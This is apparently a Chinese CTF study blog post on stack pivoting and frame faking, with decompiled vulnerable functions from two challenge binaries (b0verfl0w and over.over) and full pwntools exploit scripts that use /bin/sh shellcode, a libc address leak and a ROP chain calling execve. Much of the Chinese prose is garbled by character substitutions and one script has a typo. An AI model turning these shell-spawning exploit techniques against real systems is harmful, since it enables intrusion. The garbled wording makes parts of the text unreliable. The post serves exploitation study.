天天天...肯定要学会把栈构造画进去,凭脑子想要节约好多的工夫,而且要弄清楚哪一步的sp和bp在哪里
stack pivoting
利用jmp sp在栈上执行代码,现阶段利用的状况是笼罩的字节比拟少,但又不是很少
题
signed int vul(){ char s; // [esp+18h] [ebp-20h] puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1;}
显著利用溢出管制就能够了,这里理清一下sp的地位关系,首先当sp指向返回地址时候,还有ret没有执行,执行后sp指向向下一个地位,即人为写入的一段命令,这时的ip也指向这段命令,而后向下挪动0x28处,这时sp又指向咱们在栈上写的代码。之后jmp sp,就会执行这段代码。
exp
#coding = utf-8from pwn import *sh = process('./b0verfl0w')context.log_level = 'debug' shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode_x86 += "\x0b\xcd\x80"print(shellcode_x86)sub_esp_jmp = asm('sub esp, 0x28;jmp esp')jmp_esp = 0x08048504payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmpsh.sendline(payload)sh.interactive()
这里用手写只有28个字节,然而用自带函数shellcrat有44个。
frame faking
这里的要求还是NX敞开
原理如下:
利用返回时要求的原bp,来结构一个新的栈帧。之后在把函数放在新栈帧上,在利用返回函数跳过去进行执行。
下面是填充的内容
下面是新bp指向的栈帧
具体过程如下
1. 在有栈溢出的程序执行 leave 时,其分为两个步骤* mov esp, ebp ,这会将 esp 也指向以后栈溢出破绽的 ebp 基地址处。* pop ebp, 这会将栈中寄存的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保留了 ebp2 所在的地址。2. 执行 ret 指令,会再次执行 leave ret 指令。3. 执行 leave 指令,其分为两个步骤* mov esp, ebp ,这会将 esp 指向 ebp2。* pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行* push ebp,会将 ebp2 值压入栈中, * mov ebp, esp,将 ebp 指向以后基地址。
而后理论状况会变成
这里的bp是理论的,所以最先写入的target function addr会被笼罩,这里只需把bp2换成target function addr就能够了
题
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); while ( sub_400676() ) ; return 0LL;}
int sub_400676(){ char buf; // [rsp+0h] [rbp-50h] memset(&buf, 0, 0x50uLL); putchar(62); read(0, &buf, 0x60uLL); return puts(&buf);}
留神到这道能笼罩的地址非常少,只有16个字节,所以利用fack frame
利用checksec
这个会打乱栈的地址,但绝对偏移是不会变的。所以先管制函数输入一个一个函数在内存中的地址,之后再通过偏移进行函数的利用
上面是exp
正文外面会有具体的过程
#coding = utf-8from pwn import *content.log_level = 'debug'context.binary = "./over.over"io = process("./over.over")elf = ELF("./over.over")libc = elf.libcio.sendafter(">", 'a' * 80)stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70#这里减去0x70的起因,咱们泄露的bp地址其实是原来main函数的,通过调试发现这里有0x20的差距,所以一共是0x70success("stack -> {:#x}".format(stack))pop_rdi_ret=0x400793payload = flat(['11111111',pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be])#这里的1轻易填什么,0x400676为再次返回本函数,进行从新填写,不便加载的地址不变,6be为一个leave 和 retn(轻易找一个都行)io.sendafter(">", payload)libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.symbols['puts']#承受到函数地址,曾经记一下这里的应用办法io.recvuntil("\x7f")[-6: ].ljust(8, '\0')success("libc.address -> {:#x}".format(libc.address))'''$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"0x00000000000115189 : pop rdx ; pop rsi ; ret'''pop_rdx_pop_rsi_ret=libc.address+0x0000000000115189#因为是动静连贯,每个库依据版本不同有变动,请自行查宅payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])#留神这里应用的是execve,有三个参数,依照wiki上说#见上面的图#0x30是因为从新进入了以后函数,这时的sp指向的是0x400676,依照汇编语言,sp会减0x50,此时离原来的第一次sp只有0x20的间隔,所以须要再减去0x30,能力跳到从新写入发代码中#因为管制了eb,所以最好进入以后函数缓缓跟踪。不要从头再来,会产生一些不可形容的事件io.sendafter(">", payload)io.interactive()
以上,我好笨,看了良久才弄懂,惨惨